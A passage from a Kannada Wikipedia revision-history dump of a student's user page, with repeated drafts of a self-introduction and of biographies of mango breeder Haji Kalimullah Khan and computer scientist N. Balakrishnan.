ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಮತ್ತು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಅಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawahalal Nehru Centre for advanced scientific Research)ನ ಸಂದರ್ಶಕ ಪ್ರೊಫಸರ್ ಆಗಿದ್ದಾರೆ. ಬಾಲಕೃಷ್ಣನ್ ಅವರಿಗೆ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ಭಾರತೀಯ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ಜೀವನ ಚರಿತ್ರೆ ನಾರಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ ದಕ್ಷಿಣ ಭಾರತದ ಮೂಲತ ತಮಿಳುನಾಡಿನವರು. ಇವರು ಜುಲೈ ೧ ೧೯೫೦ ರಂದು ಜನಿಸಿದರು. ಇವರು 1972ರಲ್ಲಿ ಕೊಯಂಬತ್ತೂರು ಇನ್ ಸೈಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ (coimbatore Institute of Technology), ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ (University of Madras) ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಸಂವಹನದಲ್ಲಿ (Electonics and communication)(ಬಿಇ ಹೋಮ್ಸ್) ಪದವಿ ಪಡೆದರು ಮತ್ತು 1979 ರಲ್ಲಿ ಬೆಂಗಳೂರಿನ ಇಂಡಿಯಾನ್ ಇನ್ ಸ್ವಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc) ಯಿಂದ ಡಾಕ್ಟರೇಟ್ ಪದವಿ (PhD) ಪಡೆದರು. ಇವರು IISc ಯ ಏರೋಸ್ಟೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ ವಿಭಾಗದಲ್ಲಿ ಸಹಾಯಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ವೃತ್ತಿ ಜೀವನವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಮತ್ತು ಅಲ್ಲಿಯೇ ಸಹಾಯಕ ನಿರ್ದೇಶಕ ಮತ್ತು ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ಸೇವೆಯನ್ನು ಮುಂದುವರೆಸಿದ್ದಾರೆ. ಅವರು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಆಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawaharlal Nehru Cente por Advanced scientific Research) ಮತ್ತು ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಫಾರ್ ಸಾಫ್ಟ್ ವೇರ್ ರಿಸರ್ಚ್ ಇಂಟರ್ನ್ಯಾಟಿನಲ್, ಕಾರ್ನೆಗೀ ಮಿಲನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಸಂದರ್ಶಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿಯೂ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಮತ್ತು ಭಾರತೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಭಾರತೀಯ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್, ಭಾರತ್ ಸಂಚಾಲ್ ನಿಗಮ್ ಮತ್ತು ಕೈಗಾರಿಕಾ ಹಣಕಾಸು ನಿಗಮದ ಮತ್ತು ಮಾಹಿತಿ kcoo500gbra3rgueq9weij783tnqwbr 1116544 1116543 2022-08-23T20:28:04Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಮತ್ತು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಅಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawahalal Nehru Centre for advanced scientific Research)ನ ಸಂದರ್ಶಕ ಪ್ರೊಫಸರ್ ಆಗಿದ್ದಾರೆ. ಬಾಲಕೃಷ್ಣನ್ ಅವರಿಗೆ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ಭಾರತೀಯ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ಜೀವನ ಚರಿತ್ರೆ ನಾರಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ ದಕ್ಷಿಣ ಭಾರತದ ಮೂಲತ ತಮಿಳುನಾಡಿನವರು. ಇವರು ಜುಲೈ ೧ ೧೯೫೦ ರಂದು ಜನಿಸಿದರು. ಇವರು 1972ರಲ್ಲಿ ಕೊಯಂಬತ್ತೂರು ಇನ್ ಸೈಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ (coimbatore Institute of Technology), ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ (University of Madras) ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಸಂವಹನದಲ್ಲಿ (Electonics and communication)(ಬಿಇ ಹೋಮ್ಸ್) ಪದವಿ ಪಡೆದರು ಮತ್ತು 1979 ರಲ್ಲಿ ಬೆಂಗಳೂರಿನ ಇಂಡಿಯಾನ್ ಇನ್ ಸ್ವಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc) ಯಿಂದ ಡಾಕ್ಟರೇಟ್ ಪದವಿ (PhD) ಪಡೆದರು. ಇವರು IISc ಯ ಏರೋಸ್ಟೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ ವಿಭಾಗದಲ್ಲಿ ಸಹಾಯಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ವೃತ್ತಿ ಜೀವನವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಮತ್ತು ಅಲ್ಲಿಯೇ ಸಹಾಯಕ ನಿರ್ದೇಶಕ ಮತ್ತು ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ಸೇವೆಯನ್ನು ಮುಂದುವರೆಸಿದ್ದಾರೆ. ಅವರು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಆಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawaharlal Nehru Cente por Advanced scientific Research) ಮತ್ತು ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಫಾರ್ ಸಾಫ್ಟ್ ವೇರ್ ರಿಸರ್ಚ್ ಇಂಟರ್ನ್ಯಾಟಿನಲ್, ಕಾರ್ನೆಗೀ ಮಿಲನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಸಂದರ್ಶಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿಯೂ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಮತ್ತು ಭಾರತೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಭಾರತೀಯ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್, ಭಾರತ್ ಸಂಚಾಲ್ ನಿಗಮ್ ಮತ್ತು ಕೈಗಾರಿಕಾ ಹಣಕಾಸು ನಿಗಮ ಮತ್ತು ಭಾರತದ ಡೇಟಾ ಭದ್ರತಾ ಮಂಡಳಿಯಲ್ಲೂ ಕೂಡ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ. fxxgvrq8cjdzyfxs5d8qkv9415nmowo 1116548 1116544 2022-08-24T01:54:25Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ ಎಂಜಿನಿಯರಿಂಗ್'''] ವಿದ್ಯಾಭ್ಯಾಸ ಮಾಡುತ್ತಿದ್ದೇನೆ. ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಮಾವಿನ ಮನುಷ್ಯ ಎಂದು ಜನಪ್ರಿಯವಾಗಿ ಕರೆಯಲ್ಪಡುವ ಹಾಜಿ ಕಲೀಮುಲ್ಲಾ ಖಾನ್ ಒಬ್ಬ ಭಾರತೀಯ ತೋಟಗಾರಿಕಾ ಮತ್ತು ಹಣ್ಣು ತಳಿಗಾರ, ಮಾವು ಮತ್ತು ಇತರ ಹಣ್ಣುಗಳನ್ನು ಸಂತಾನೋತ್ಪತ್ತಿ ಮಾಡುನಲ್ಲಿ ಅವರ ಸಾಧನೆಗಳಿಗೆ ಹೆಸರುವಾಸಿಯಾಗಿದ್ದಾರೆ. ಇವರು ಕಸಿ ಮಾಡುವ ತಂತ್ರಗಳನ್ನು (grafting techniques) ಬಳಸಿಕೊಂಡು ಒಂದೇ ಮರದಲ್ಲಿ 300 ಕ್ಕೂ ಹೆಚ್ಚು ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಬೆಳೆದಿದ್ದಾರೆ ಎಂದು ತಿಳಿದುಬಂದಿದೆ. ಉತ್ತರ ಪ್ರದೇಶ ಭಾರತದ ರಾಜ್ಯವಾರ ಲಕ್ನೋ ಬಳಿಯ ಮಲಿಹಾಬಾದ್ ನಲ್ಲಿ ಜನಿಸಿದ ಖಾನ್, ೭ ನೇ ತರಗತಿಯಲ್ಲಿ ಶಾಲೆಯನ್ನು ತೊರೆದರು ಮತ್ತು ಕೃಷಿಯ ಕುಟುಂಬ ವ್ಯವಹಾರವನ್ನು ತೆಗೆದುಕೊಂಡು. ! ಅಲೈಂಗಿಕ ಪ್ರಸರಣ ತಂತ್ರವನ್ನು ( Asexual propagation technique of grafting) ಬಳಸಿಕೊಂಡು, ಅವರು ಹಲವಾರು ಹೊಸ ವಿಧದ ಮಾವಿನ ಹಣ್ಣುಗಳನ್ನು ಅಭಿವೃದ್ಧಿಪಡಿಸಿದ್ದಾರೆ. ಅವುಗಳಲ್ಲಿ ಕೆಲವು ಪ್ರಸಿದ್ಧ ವ್ಯಕ್ತಿಗಳು ಮತ್ತು ರಾಜಕೀಯ ನಾಯಕರಾದ ಸಚಿನ್ ತೆಂಡೂಲ್ಕರ್, ಐಶ್ವರ್ಯ ರೈ ಅಖಿಲೇಶ್ ಯಾದವ್, ಸೋನಿಯಾ ಗಾಂಧಿ, ನರೇಂದ್ರ ಮೋದಿ, ಅಮಿತ್ ಶಾ ಮುಂತಾದವರ ಹೆಸರನ್ನು ಇಡಲಾಗಿದೆ. ಅನಾರ್ಕಲ್ಲಿ, ಇವರು ಅಭಿವೃದ್ಧಿ ಪಡಿಸಿದ ವಿವಿಧ ಮಾವಿನ ಹಣ್ಣುಗಳು ಎರಡು ವಿಭಿನ್ನ ಚರ್ಮಗಳು ಮತ್ತು ತಿರುಳಿನ ಎರಡು ವಿಭಿನ್ನ ಪದರಗಳನ್ನು ಹೊಂದಿವೆ ಎಂದು ವರದಿಯಾಗಿದೆ, ಪ್ರತಿಯೊಂದು ವಿಭಿನ್ನ ರುಚಿಯನ್ನು ಹೊಂದಿರುತ್ತದೆ. ತೋಟಗಾರಿಕೆಗೆ ಇವರ ಕೊಡುಗೆ ಅಪಾರವಾದದ್ದು, ಭಾರತ ಸರ್ಕಾರವು ೨೦೦೮ ರಲ್ಲಿ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ನಾಗರಿಕ ಗೌರವವನ್ನು ನೀಡಿತು. ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ನಾರಾಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ಣ ಅವರು ಭಾರತೀಯ ಏರೋಸ್ಪೇಸ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ವಿಜ್ಞಾನಿ. ಅವರು ಇಂಡಿಯನ್ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್ (Indian Institute of science) ನ ಏರೋಸ್ಪೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ (Aerospace engineering) ಮತ್ತು ಸೂಪರ್ ಕಂಪ್ಯೂಟರ್ ಶಿಕ್ಷಣ ಸಂಶೋಧನಾ ಕೇಂದ್ರದ ( super computer Education Research Cente) ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದಾರೆ. ಮತ್ತು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಅಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawahalal Nehru Centre for advanced scientific Research)ನ ಸಂದರ್ಶಕ ಪ್ರೊಫಸರ್ ಆಗಿದ್ದಾರೆ. ಬಾಲಕೃಷ್ಣನ್ ಅವರಿಗೆ ಪದ್ಮಶ್ರೀಯ ನಾಲ್ಕನೇ ಅತ್ಯುನ್ನತ ಭಾರತೀಯ ನಾಗರಿಕ ಪ್ರಶಸ್ತಿ ನೀಡಿ ಗೌರವಿಸಲಾಯಿತು. ಜೀವನ ಚರಿತ್ರೆ ನಾರಯಣಸ್ವಾಮಿ ಬಾಲಕೃಷ್ ದಕ್ಷಿಣ ಭಾರತದ ಮೂಲತ ತಮಿಳುನಾಡಿನವರು. ಇವರು ಜುಲೈ ೧ ೧೯೫೦ ರಂದು ಜನಿಸಿದರು. ಇವರು 1972ರಲ್ಲಿ ಕೊಯಂಬತ್ತೂರು ಇನ್ ಸೈಟ್ಯೂಟ್ ಆಫ್ ಟೆಕ್ನಾಲಜಿ (coimbatore Institute of Technology), ಮದ್ರಾಸ್ ವಿಶ್ವವಿದ್ಯಾನಿಲಯದಿಂದ (University of Madras) ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ಮತ್ತು ಸಂವಹನದಲ್ಲಿ (Electonics and communication)(ಬಿಇ ಹೋಮ್ಸ್) ಪದವಿ ಪಡೆದರು ಮತ್ತು 1979 ರಲ್ಲಿ ಬೆಂಗಳೂರಿನ ಇಂಡಿಯಾನ್ ಇನ್ ಸ್ವಿಟ್ಯೂಟ್ ಆಫ್ ಸೈನ್ಸ್(IISc) ಯಿಂದ ಡಾಕ್ಟರೇಟ್ ಪದವಿ (PhD) ಪಡೆದರು. ಇವರು IISc ಯ ಏರೋಸ್ಟೇಸ್ ಎಂಜಿನಿಯರಿಂಗ್ ವಿಭಾಗದಲ್ಲಿ ಸಹಾಯಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ವೃತ್ತಿ ಜೀವನವನ್ನು ಪ್ರಾರಂಭಿಸಿದರು. ಮತ್ತು ಅಲ್ಲಿಯೇ ಸಹಾಯಕ ನಿರ್ದೇಶಕ ಮತ್ತು ಪ್ರಾಧ್ಯಾಪಕರಾಗಿ ತಮ್ಮ ಸೇವೆಯನ್ನು ಮುಂದುವರೆಸಿದ್ದಾರೆ. ಅವರು ಜವಾಹರಲಾಲ್ ನೆಹರು ಸೆಂಟರ್ ಫಾರ್ ಆಡ್ವಾನ್ಸ್ಡ್ ಸೈಂಟಿಫಿಕ್ ರಿಸರ್ಚ್ (Jawaharlal Nehru Cente por Advanced scientific Research) ಮತ್ತು ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್ ಫಾರ್ ಸಾಫ್ಟ್ ವೇರ್ ರಿಸರ್ಚ್ ಇಂಟರ್ನ್ಯಾಟಿನಲ್, ಕಾರ್ನೆಗೀ ಮಿಲನ್ ವಿಶ್ವವಿದ್ಯಾಲಯದ ಸಂದರ್ಶಕ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿಯೂ ಕೆಲಸ ಮಾಡುತ್ತಿದ್ದಾರೆ. ಮತ್ತು ಭಾರತೀಯ ಮಾಹಿತಿ ತಂತ್ರಜ್ಞಾನ ಮತ್ತು ನಿರ್ವಹಣೆಯ ಭಾರತೀಯ ಇನ್ ಸ್ಟಿಟ್ಯೂಟ್, ಭಾರತ್ ಸಂಚಾಲ್ ನಿಗಮ್ ಮತ್ತು ಕೈಗಾರಿಕಾ ಹಣಕಾಸು ನಿಗಮ ಮತ್ತು ಭಾರತದ ಡೇಟಾ ಭದ್ರತಾ ಮಂಡಳಿಯಲ್ಲೂ ಕೂಡ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ. ಪ್ರಸ್ತುತ ಇವರು 4500 ಕೋಟಿ ಬಜೆಟ್ ನೊಂದಿಗೆ 7 ವರ್ಷಗಳ ಯೋಜನೆಯಾಗಿ ಭಾರತ ಸರ್ಕಾರದಿಂದ ಅನುಮೋದಿಸಲಾದ ನ್ಯಾಷನಲ್ ಸೂಪರ್ ಕಮ್ಯೂಟಿಂಗ್ ಮಿಷನ್ ಆಫ್ ಇಂಡಿಯಾದ ಮುಖ್ಯಸ್ಥಲಾಗಿದ್ದಾರೆ. ಇವರು 2003 ರಿಂದ 2006 ರವರೆಗೆ IISc ಯ ಮಾಹಿತಿ ವಿಜ್ಞಾನ ವಿಭಾಗದ ಸತೀಶ್ ಧಾವ್ ಅಧ್ಯಕ್ಷತೆಯ ಪ್ರಾಧ್ಯಾಪಕರಾಗಿದ್ದರು ಮತ್ತು ರಾಷ್ಟ್ರೀಯ ಭದ್ರತಾ ಸಲಹಾ ಮಂಡಳಿ ಮತ್ತು ಭಾರತದ ಟೆಲಿಕಾಂ ನಿಯಂತ್ರಣ ಪ್ರಾಧಿಕಾರದ ಮಾಜಿ ಸದಸ್ಯರಾಗಿದ್ದಾರೆ. ಇವರು EI forge Ltd ನ ಮಾಜಿ ಉಪ ವ್ಯವಸ್ಥಾಪಕ ನಿರ್ದೇಶಕರಾಗಿದ್ದಾರೆ ಮತ್ತು C-DOT ಅಲ್ಕಾಟೆಲ್ ಲ್ಯೂಸೆಂಟ್ ರಿಸರ್ಚ್ ಸೆಂಟರ್ ಮತ್ತು ಭಾರತ್ ಎಲೆಕ್ಟ್ರಾನಿಕ್ಸ್ ನಲ್ಲಿ ನಿರ್ದೇಶಕರ ಹುದ್ದೆಗಳನ್ನು ಹೊಂದಿದ್ದಾರೆ. ಅವರು ಸೆಂಟ್ರಲ್ ಬ್ಯಾಂಕ್ ಆಫ್ ಇಂಡಿಯಾದ ನಿರ್ದೇಶಕರಾಗಿಯೂ ಸೇವೆ ಸಲ್ಲಿಸಿದ್ದಾರೆ, ಅಲ್ಲಿಂದ ಅವರು ಜನವರಿ 2015ರಲ್ಲಿ ನಿವೃತ್ತರಾದರು. ಅವರು 2016 ರಿಂದ 2018 ವರೆಗೆ ಇನ್ಫೋಸಿಸ್ ಪ್ರಶಸ್ತಿಗಾಗಿ ಎಂಜಿನಿಯರಿಂಗ್ ಮತ್ತು ಕಂಪ್ಯೂಟರ್ ಸೈನ್ಸ್ ತೀರ್ಪುಗಾರರಾಗಿದ್ದರು. asmgeywzvk267jhsfrxk1kr99e2k3ow 1116550 1116548 2022-08-24T02:03:12Z Nisargashetty.T.N. 77736 wikitext text/x-wiki '''ನಿಸರ್ಗಶೆಟ್ಟಿ.ಟಿ.ಎನ್.''' ಎಂಬ ನಾನು ''೨೮/೦೪/೨೦೦೩''ರಲ್ಲಿ ಜನಿಸಿದ್ದೆನೆ.ನನ್ನ [[ಪ್ರಾಥಮಿಕ ಶಿಕ್ಷಣ]]ವನ್ನು [http://www.onefivenine.com/india/villages/Mandya/Malvalli/Talagavadi ತಳಗವಾದಿ] ಸರ್ಕಾರಿ ಶಾಲೆಯಲ್ಲಿ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಮಾಡಿದ್ದೇನೆ. ಮುಂದಿನ ವಿದ್ಯಾಭ್ಯಾಸವನ್ನು ಕೆ.ಎಂ.ದೊಡ್ಡಿಯ '''ಭಾರತೀ ಪಿ ಯು''' '''ಕಾಲೇಜಿನಲ್ಲಿ''' ಶಿಕ್ಷಣ ಮುಗಿಸಿ.ನಂತರ [[ಮಂಡ್ಯ]] ಜಿಲ್ಲೆಯ ಮದ್ದೂರು ತಾಲ್ಲೂಕಿನ [https://gmitmandya.in/ '''ಜಿ.ಎಂ.ಐ.ಟಿ'''] ಕಾಲೇಜಿನಲ್ಲಿ [https://en.wikipedia.org/wiki/Mechanical_engineering '''ಮೆಕಾಲಿಕಲ್ 